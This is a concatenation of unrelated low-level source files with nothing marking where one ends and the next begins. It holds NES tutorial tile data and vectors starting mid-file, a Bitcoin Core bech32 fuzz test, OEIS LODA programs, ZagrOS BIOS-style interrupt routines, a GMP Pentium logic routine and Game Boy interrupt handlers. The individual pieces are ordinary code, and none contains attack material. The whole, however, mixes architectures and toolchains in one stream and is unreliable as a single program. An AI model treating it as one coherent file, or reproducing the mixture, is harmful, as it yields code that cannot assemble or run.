$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 nametable: .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$01,$02,$03,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$01,$02,$03,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$04,$05,$06,$07,$00,$00,$00,$00,$08,$09,$00,$00,$00,$00,$0a,$0b,$04,$05,$06,$07,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$0c,$0d,$0e,$0f,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$1a,$1b,$1c,$0d,$0e,$1d,$12,$1e,$1f,$20,$21,$22,$23,$24,$25,$26,$00 .byte $00,$27,$28,$29,$2a,$2b,$2c,$2d,$2e,$2f,$30,$31,$32,$33,$34,$35,$36,$27,$28,$29,$37,$2d,$38,$39,$3a,$3b,$3c,$3d,$3e,$3f,$40,$00 .byte $00,$00,$00,$00,$00,$00,$0c,$41,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$42,$43,$44,$45,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$46,$47,$48,$49,$00,$00,$4a,$49,$4b,$4c,$4d,$4e,$00 .byte $00,$00,$00,$4f,$50,$51,$52,$53,$54,$55,$00,$00,$00,$00,$00,$00,$00,$00,$56,$57,$58,$59,$5a,$5b,$5c,$5d,$5e,$5f,$60,$61,$00,$00 .byte $00,$00,$62,$63,$64,$65,$66,$67,$68,$69,$6a,$6b,$00,$00,$00,$00,$00,$00,$6c,$6d,$6e,$6f,$70,$71,$72,$73,$74,$75,$76,$00,$00,$00 .byte $00,$00,$00,$77,$64,$78,$79,$7a,$7b,$7c,$7d,$00,$00,$00,$00,$00,$7e,$7f,$80,$81,$82,$83,$84,$85,$86,$87,$88,$89,$00,$00,$00,$00 .byte $00,$00,$00,$8a,$8b,$8c,$8d,$8e,$8f,$90,$00,$00,$00,$00,$00,$00,$91,$92,$93,$94,$95,$96,$97,$98,$99,$9a,$89,$00,$00,$00,$00,$00 .byte $00,$00,$00,$9b,$9c,$9d,$9e,$9f,$a0,$a1,$a2,$00,$00,$00,$00,$00,$a3,$a4,$a5,$a6,$a7,$a8,$a9,$aa,$ab,$ac,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$ad,$ae,$af,$b0,$00,$b1,$b2,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$b3,$00,$b4,$b5,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$b6,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$b7,$b8,$b9,$ba,$bb,$bc,$bd,$be,$bf,$c0,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$c1,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00 .byte $54,$51,$50,$50,$54,$51,$50,$50 .byte $45,$55,$15,$05,$05,$05,$a5,$55 .byte $44,$55,$55,$00,$00,$00,$68,$01 .byte $00,$05,$05,$00,$40,$04,$01,$00 .byte $00,$00,$04,$05,$05,$01,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00 .byte $00,$00,$00,$00,$00,$00,$00,$00 ;**************************************************************** ;Vectors ;**************************************************************** .org $FFFA ;first of the three vectors starts here .dw nmi ;when an NMI happens (once per frame if enabled) the ;processor will jump to the label NMI: .dw reset ;when the processor first turns on or is reset, it will jump ;to the label RESET: .dw irq ;external interrupt IRQ is not used in this tutorial
// Copyright (c) 2019-2021 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <bech32.h> #include <test/fuzz/fuzz.h> #include <test/util/str.h> #include <util/strencodings.h> #include <cassert> #include <cstdint> #include <string> #include <utility> #include <vector> FUZZ_TARGET(bech32) { const std::string random_string(buffer.begin(), buffer.end()); const auto r1 = bech32::Decode(random_string); if (r1.hrp.empty()) { assert(r1.encoding == bech32::Encoding::INVALID); assert(r1.data.empty()); } else { assert(r1.encoding != bech32::Encoding::INVALID); const std::string reencoded = bech32::Encode(r1.encoding, r1.hrp, r1.data); assert(CaseInsensitiveEqual(random_string, reencoded)); } std::vector<unsigned char> input; ConvertBits<8, 5, true>([&](unsigned char c) { input.push_back(c); }, buffer.begin(), buffer.end()); if (input.size() + 3 + 6 <= 90) { // If it's possible to encode input in Bech32(m) without exceeding the 90-character limit: for (auto encoding : {bech32::Encoding::BECH32, bech32::Encoding::BECH32M}) { const std::string encoded = bech32::Encode(encoding, "bc", input); assert(!encoded.empty()); const auto r2 = bech32::Decode(encoded); assert(r2.encoding == encoding); assert(r2.hrp == "bc"); assert(r2.data == input); } } }
; A055653: Sum of phi(d) [A000010] over all unitary divisors d of n (that is, gcd(d,n/d) = 1). ; Submitted by Jon Maiga ; 1,2,3,3,5,6,7,5,7,10,11,9,13,14,15,9,17,14,19,15,21,22,23,15,21,26,19,21,29,30,31,17,33,34,35,21,37,38,39,25,41,42,43,33,35,46,47,27,43,42,51,39,53,38,55,35,57,58,59,45,61,62,49,33,65,66,67,51,69,70,71,35,73,74,63,57,77,78,79,45,55,82,83,63,85,86,87,55,89,70,91,69,93,94,95,51,97,86,77,63 add $0,1 mov $1,1 lpb $0 mov $3,$0 lpb $3 mov $4,$0 mov $6,$2 cmp $6,0 add $2,$6 mod $4,$2 cmp $4,0 cmp $4,0 mov $5,$2 add $2,1 cmp $5,1 max $4,$5 sub $3,$4 lpe mov $5,1 lpb $0 dif $0,$2 mov $4,$5 mul $5,$2 lpe add $5,1 sub $5,$4 mul $1,$5 lpe mov $0,$1
; A080455: a(1)=1; for n>1, a(n) = a(n-1) if n is already in the sequence, a(n) = a(n-1) + 4 otherwise. ; 1,5,9,13,13,17,21,25,25,29,33,37,37,41,45,49,49,53,57,61,61,65,69,73,73,77,81,85,85,89,93,97,97,101,105,109,109,113,117,121,121,125,129,133,133,137,141,145,145,149,153,157,157,161,165,169,169,173 mov $1,$0 div $1,4 sub $0,$1 mul $0,4 add $0,1
; ==================== ZagrOS ==================== ; Zagros Open Source Operating System ; Saeid Bostandoust (ssbostan@linuxmail.org) ; Bostandoust.IR ; ==================== ZagrOS ==================== ; ================= int 90h code ================= int90: cmp ah, 00h jz int90_00 ; 00=Get Character. cmp ah, 01h jz int90_01 ; 01=Put Character. cmp ah, 02h jz int90_02 ; 02=Get String. cmp ah, 03h jz int90_03 ; 03=Put String. push ax push dx push ds mov ax, 1000h mov ds, ax mov ah, 03h mov dx, offset INT_ERR int 90h pop ds pop dx pop ax iret int90_00: push bx push cx push dx mov ah, 00h int 16h mov ah, 03h mov bh, 00h int 10h cmp al, 08h jz int90_00_bksp cmp al, 0dh jz int90_00_entr mov ah, 09h mov bh, 00h push ax push ds mov ax, 1000h mov ds, ax mov bl, [P_COLOR] pop ds pop ax mov cx, 01h int 10h mov ah, 02h mov bh, 00h inc dl int 10h pop dx pop cx pop bx mov ah, 00h iret int90_00_bksp: cmp dl, 0 jz int90_00_endp mov ah, 02h mov bh, 00h dec dl int 10h pop dx pop cx pop bx mov ah, 00h iret int90_00_entr: mov ah, 02h mov bh, 00h mov dl, 00h int 10h pop dx pop cx pop bx mov ah, 00h iret int90_00_endp: pop dx pop cx pop bx mov ah, 00h iret int90_01: push ax push bx push cx push dx cmp al, 0ah jz int90_01_newl cmp al, 0dh jz int90_01_entr mov ah, 09h mov bh, 00h push ax push ds mov ax, 1000h mov ds, ax mov bl, [P_COLOR] pop ds pop ax mov cx, 01h int 10h mov ah, 03h mov bh, 00h int 10h mov ah, 02h inc dl int 10h pop dx pop cx pop bx pop ax iret int90_01_newl: mov ah, 03h mov bh, 00h int 10h mov ah, 02h inc dh int 10h pop dx pop cx pop bx pop ax iret int90_01_entr: mov ah, 03h mov bh, 00h int 10h mov ah, 02h mov dl, 0 int 10h pop dx pop cx pop bx pop ax iret int90_02: push ax push bx push cx push dx push si mov si, 0 mov cx, 0 mov bx, dx mov [bx+1], 0 int90_02_loop: mov ah, 00h int 16h cmp al, 08h jz int90_02_bksp cmp al, 0dh jz int90_02_entr mov ch, [bx] dec ch mov cl, [bx+1] cmp ch, cl jz int90_02_loop mov ah, 01h int 90h mov [bx+si+2], al inc si inc cl mov [bx+1], cl jmp int90_02_loop int90_02_bksp: mov cl, [bx+1] cmp cl, 00h jz int90_02_loop dec cl mov [bx+1], cl dec si mov [bx+si+2], 24h push bx push cx mov ah, 03h mov bh, 00h int 10h mov ah, 02h dec dl int 10h mov ah, 07h mov al, 00h push ax push ds mov ax, 1000h mov ds, ax mov bh, [P_COLOR] pop ds pop ax mov ch, dh mov cl, dl add dl, 01h int 10h pop cx pop bx jmp int90_02_loop int90_02_entr: mov [bx+si+2], 00h inc si inc cl mov [bx+1], cl pop si pop dx pop cx pop bx pop ax iret int90_03: push ax push bx push cx push dx push bp push si push es push ds pop es mov bx, dx mov si, 0 int90_03_scot: mov al, [bx+si] cmp al, 24h jz int90_03_next cmp al, 00h jz int90_03_next inc si jmp int90_03_scot int90_03_next: push bx mov ah, 03h mov bh, 00h int 10h mov ah, 13h mov al, 01h mov bh, 00h push ax push ds mov ax, 1000h mov ds, ax mov bl, [P_COLOR] pop ds pop ax mov cx, si pop bp int 10h pop es pop si pop bp pop dx pop cx pop bx pop ax iret ; ================= int 90h code =================
dnl Intel Pentium mpn_and_n,...,mpn_xnor_n -- bitwise logical operations. dnl Copyright 2001, 2002 Free Software Foundation, Inc. dnl dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or dnl modify it under the terms of the GNU Lesser General Public License as dnl published by the Free Software Foundation; either version 3 of the dnl License, or (at your option) any later version. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, dnl but WITHOUT ANY WARRANTY; without even the implied warranty of dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU dnl Lesser General Public License for more details. dnl dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/. include(`../config.m4') C P5: 3.0 c/l and, ior, xor C 3.5 c/l andn, iorn, nand, nior, xnor define(M4_choose_op, `ifdef(`OPERATION_$1',` define(`M4_function', `mpn_$1') define(`M4_want_pre', `$4') define(`M4op', `$3') define(`M4_want_post',`$2') ')') define(M4pre, `ifelse(M4_want_pre, yes,`$1')') define(M4post,`ifelse(M4_want_post,yes,`$1')') M4_choose_op( and_n, , andl, ) M4_choose_op( andn_n, , andl, yes) M4_choose_op( nand_n, yes, andl, ) M4_choose_op( ior_n, , orl, ) M4_choose_op( iorn_n, , orl, yes) M4_choose_op( nior_n, yes, orl, ) M4_choose_op( xor_n, , xorl, ) M4_choose_op( xnor_n, yes, xorl, ) ifdef(`M4_function',, `m4_error(`Unrecognised or undefined OPERATION symbol ')') MULFUNC_PROLOGUE(mpn_and_n mpn_andn_n mpn_nand_n mpn_ior_n mpn_iorn_n mpn_nior_n mpn_xor_n mpn_xnor_n) NAILS_SUPPORT(0-31) C void M4_function (mp_ptr wp, mp_srcptr xp, mp_srcptr yp, mp_size_t size); C C Nothing complicated here, just some care to avoid data cache bank clashes C and AGIs. C C We're one register short of being able to do a simple 4 loads, 2 ops, 2 C stores. Instead %ebp is juggled a bit and nops are introduced to keep the C pairings as intended. An in-place operation would free up a register, for C an 0.5 c/l speedup, if that's worth bothering with. C C This code seems best for P55 too. Data alignment is a big problem for MMX C and the pairing restrictions on movq and integer instructions make life C difficult. defframe(PARAM_SIZE,16) defframe(PARAM_YP, 12) defframe(PARAM_XP, 8) defframe(PARAM_WP, 4) TEXT ALIGN(8) PROLOGUE(M4_function) deflit(`FRAME',0) pushl %ebx FRAME_pushl() pushl %esi FRAME_pushl() pushl %edi FRAME_pushl() pushl %ebp FRAME_pushl() movl PARAM_SIZE, %ecx movl PARAM_XP, %ebx movl PARAM_YP, %esi movl PARAM_WP, %edi shrl %ecx jnc L(entry) movl (%ebx,%ecx,8), %eax C risk of data cache bank clash here movl (%esi,%ecx,8), %edx M4pre(` notl_or_xorl_GMP_NUMB_MASK(%edx)') M4op %edx, %eax M4post(`xorl $GMP_NUMB_MASK, %eax') orl %ecx, %ecx movl %eax, (%edi,%ecx,8) jz L(done) jmp L(entry) L(top): C eax C ebx xp C ecx counter, limb pairs, decrementing C edx C esi yp C edi wp C ebp M4op %ebp, %edx nop M4post(`xorl $GMP_NUMB_MASK, %eax') M4post(`xorl $GMP_NUMB_MASK, %edx') movl %eax, 4(%edi,%ecx,8) movl %edx, (%edi,%ecx,8) L(entry): movl -4(%ebx,%ecx,8), %ebp nop movl -4(%esi,%ecx,8), %eax movl -8(%esi,%ecx,8), %edx M4pre(` xorl $GMP_NUMB_MASK, %eax') M4pre(` xorl $GMP_NUMB_MASK, %edx') M4op %ebp, %eax movl -8(%ebx,%ecx,8), %ebp decl %ecx jnz L(top) M4op %ebp, %edx nop M4post(`xorl $GMP_NUMB_MASK, %eax') M4post(`xorl $GMP_NUMB_MASK, %edx') movl %eax, 4(%edi,%ecx,8) movl %edx, (%edi,%ecx,8) L(done): popl %ebp popl %edi popl %esi popl %ebx ret EPILOGUE()
INCLUDE "defines.asm" SECTION "Rst $00", ROM0[$00] NULL:: ; This traps jumps to $0000, which is a common "default" pointer ; $FFFF is another one, but reads rIE as the instruction byte ; Thus, we put two `nop`s that may serve as operands, before soft-crashing ; The operand will always be 0, so even jumps will work fine. Nice! nop nop rst Crash SECTION "Rst $08", ROM0[$08] ; Waits for the next VBlank beginning ; Requires the VBlank handler to be able to trigger, otherwise will loop infinitely ; This means IME should be set, the VBlank interrupt should be selected in IE, ; and the LCD should be turned on. ; WARNING: Be careful if calling this with IME reset (`di`), if this was compiled ; with the `-h` flag, then a hardware bug is very likely to cause this routine to ; go horribly wrong. ; Note: the VBlank handler recognizes being called from this function (through `hVBlankFlag`), ; and does not try to save registers if so. To be safe, consider all registers to be destroyed. ; @destroy Possibly every register. The VBlank handler stops preserving anything when executed from this function WaitVBlank:: ld a, 1 ldh [hVBlankFlag], a .wait halt jr .wait SECTION "Rst $10", ROM0[$10 - 1] MemsetLoop: ld a, d assert @ == $10 ; You probably don't want to use this for writing to VRAM while the LCD is on. See LCDMemset. Memset:: ld [hli], a ld d, a dec bc ld a, b or c jr nz, MemsetLoop ret SECTION "Rst $18", ROM0[$18] MemcpySmall:: ld a, [de] ld [hli], a inc de dec c jr nz, MemcpySmall ret SECTION "Rst $20", ROM0[$20] MemsetSmall:: ld [hli], a dec c jr nz, MemsetSmall ret SECTION "Rst $28", ROM0[$28 - 3] ; Dereferences `hl` and jumps there ; All other registers are passed to the called code intact, except Z is reset ; Soft-crashes if the jump target is in RAM ; @param hl Pointer to an address to jump to JumpToPtr:: ld a, [hli] ld h, [hl] ld l, a assert @ == $28 ; Jump to some address ; All registers are passed to the called code intact, except Z is reset ; (`jp CallHL` is equivalent to `jp hl`, but with the extra error checking on top) ; Soft-crashes if attempting to jump to RAM ; @param hl The address of the code to jump to CallHL:: bit 7, h error nz jp hl SECTION "Rst $30", ROM0[$30] ; Jumps to some address ; All registers are passed to the target code intact, except Z is reset ; (`jp CallDE` would be equivalent to `jp de` if that instruction existed) ; Soft-crashes if attempting to jump to RAM ; @param de The address of the code to jump to CallDE:: bit 7, d push de ret z ; No jumping to RAM, boy! rst Crash SECTION "Rst $38", ROM0[$38] ; Perform a soft-crash. Prints debug info on-screen Crash:: di ; Doing this as soon as possible to avoid interrupts messing up jp HandleCrash SECTION "Handlers", ROM0[$40] ; VBlank handler push af ldh a, [hLCDC] ldh [rLCDC], a jp VBlankHandler ds $48 - @ ; STAT handler push af push hl jp STATHandler ds $50 - @ ; Timer handler rst $38 ds $58 - @ ; Serial handler rst $38 ds $60 - @ ; Joypad handler (useless) rst $38 SECTION "STAT Handler", ROM0 STATHandler: ;this handler processes a table full of LYC values and things to write to LCDC. ;the format is like this: ; 1: *NEXT* scaline number minus 1 for handling time ; 2: value to write to LCDC on the *CURRENT* LYC scanline ; this can repeat up to 128 times, but the table must start on a page boundary ; at the end of the table, the next scanline number should be 1 for the music update on the next frame LYC_TABLE_END equ 1 EXPORT LYC_TABLE_END ;to avoid breaking VRAM writes, the LYC handler must take between 87 and 109 cycles, ;and should only mess with PPU registers after cycle 87 (which is guaranteed to me mode 0 or mode 2) ;we've already used 12 cycles ldh a, [rLYC] ;check if LYC=1, because I'll use that for music drivers and resetting the LYC table index dec a jr z, STATHandlerLYOne ;now we've used 18 cycles ;we have this table full of values to write to rLCDC and line numbers for the next interrupt ldh a, [hLYCTableHigh] ld h, a ldh a, [hLYCTableLow] ld l, a ;so now we've got the pointer to the table ;we've used 26 cycles now ld a, [hl+] ;this is the line number when the next LYC should fire ldh [rLYC], a ld a, [hl+] ;and this is the value we should write to rLCDC once the PPU reaches the end of the line ld h, a ;we're done with h now, so we may as well store the value here instead of pushing bc or de. ;we've used 34 cycles now ld a, l ;now we store the LYC table pointer ldh [hLYCTableLow], a ld a, h ;get the pop done ahead of time pop hl ;and that's 42 cycles. now we have to sleep for 43 more cycles, then do the write and get out of there. ;calling a ret takes 10 cycles call UncoditionalRet call UncoditionalRet call UncoditionalRet call UncoditionalRet ;now sleep for 3 cycles nop nop nop ;do the write. The actual write happends on the third cycle, which will be the 88th cycle when we're guaranteed to be in Hblank. ldh [rLCDC], a ;and finish up pop af reti STATHandlerLYOne: ;this special case will handle music updates and resetting the LYC table xor a ;reset the LYC table pointer ldh [hLYCTableLow], a ld l, a ldh a, [hLYCTableHigh] ld h, a ;now hl points to the start of the table ld a, [hl+] ldh [rLYC], a ;prepare the next LYC inc l ;skip the argument for LYC=0 ld a, l ldh [hLYCTableLow], a ei ;now update music ;busy-loop for the start of Hblank so we can return safely without messing up any VRAM accesses ld hl, rSTAT ; Wait until Mode is -NOT- 0 or 1 .waitNotBlank bit 1, [hl] jr z, .waitNotBlank ; Wait until Mode 0 or 1 -BEGINS- (but we know that Mode 0 is what will begin) .waitBlank bit 1, [hl] jr nz, .waitBlank pop hl pop af ret SECTION "STAT HRAM", HRAM hLYCTableLow: ;this is overwritten after every LYC as we advance through this table ds 1 hLYCTableHigh:: ;the high byte is not written, so we assume that the whole table is on one page, but we can use this to point the handler to multiple tables. ds 1 SECTION "VBlank handler", ROM0 VBlankHandler: ldh a, [hSCY] ldh [rSCY], a ldh a, [hSCX] ldh [rSCX], a ldh a, [hBGP] ldh [rBGP], a ldh a, [hOBP0] ldh [rOBP0], a ldh a, [hOBP1] ldh [rOBP1], a ; OAM DMA can occur late in the handler, because it will still work even ; outside of VBlank. Sprites just will not appear on the scanline(s) ; during which it's running. ldh a, [hOAMHigh] and a jr z, .noOAMTransfer call hOAMDMA xor a ldh [hOAMHigh], a .noOAMTransfer ; Put all operations that cannot be interrupted above this line ; For example, OAM DMA (can't jump to ROM in the middle of it), ; VRAM accesses (can't screw up timing), etc ei ldh a, [hVBlankFlag] and a jr z, .lagFrame xor a ldh [hVBlankFlag], a pop af ; Pop off return address as well to exit infinite loop .lagFrame pop af ret SECTION "VBlank HRAM", HRAM ; DO NOT TOUCH THIS ; When this flag is set, the VBlank handler will assume the caller is `WaitVBlank`, ; and attempt to exit it. You don't want that to happen outside of that function. hVBlankFlag:: db ; High byte of the address of the OAM buffer to use. ; When this is non-zero, the VBlank handler will write that value to rDMA, and ; reset it. hOAMHigh:: db ; Shadow registers for a bunch of hardware regs. ; Writing to these causes them to take effect more or less immediately, so these ; are copied to the hardware regs by the VBlank handler, taking effect between frames. ; They also come in handy for "resetting" them if modifying them mid-frame for raster FX. 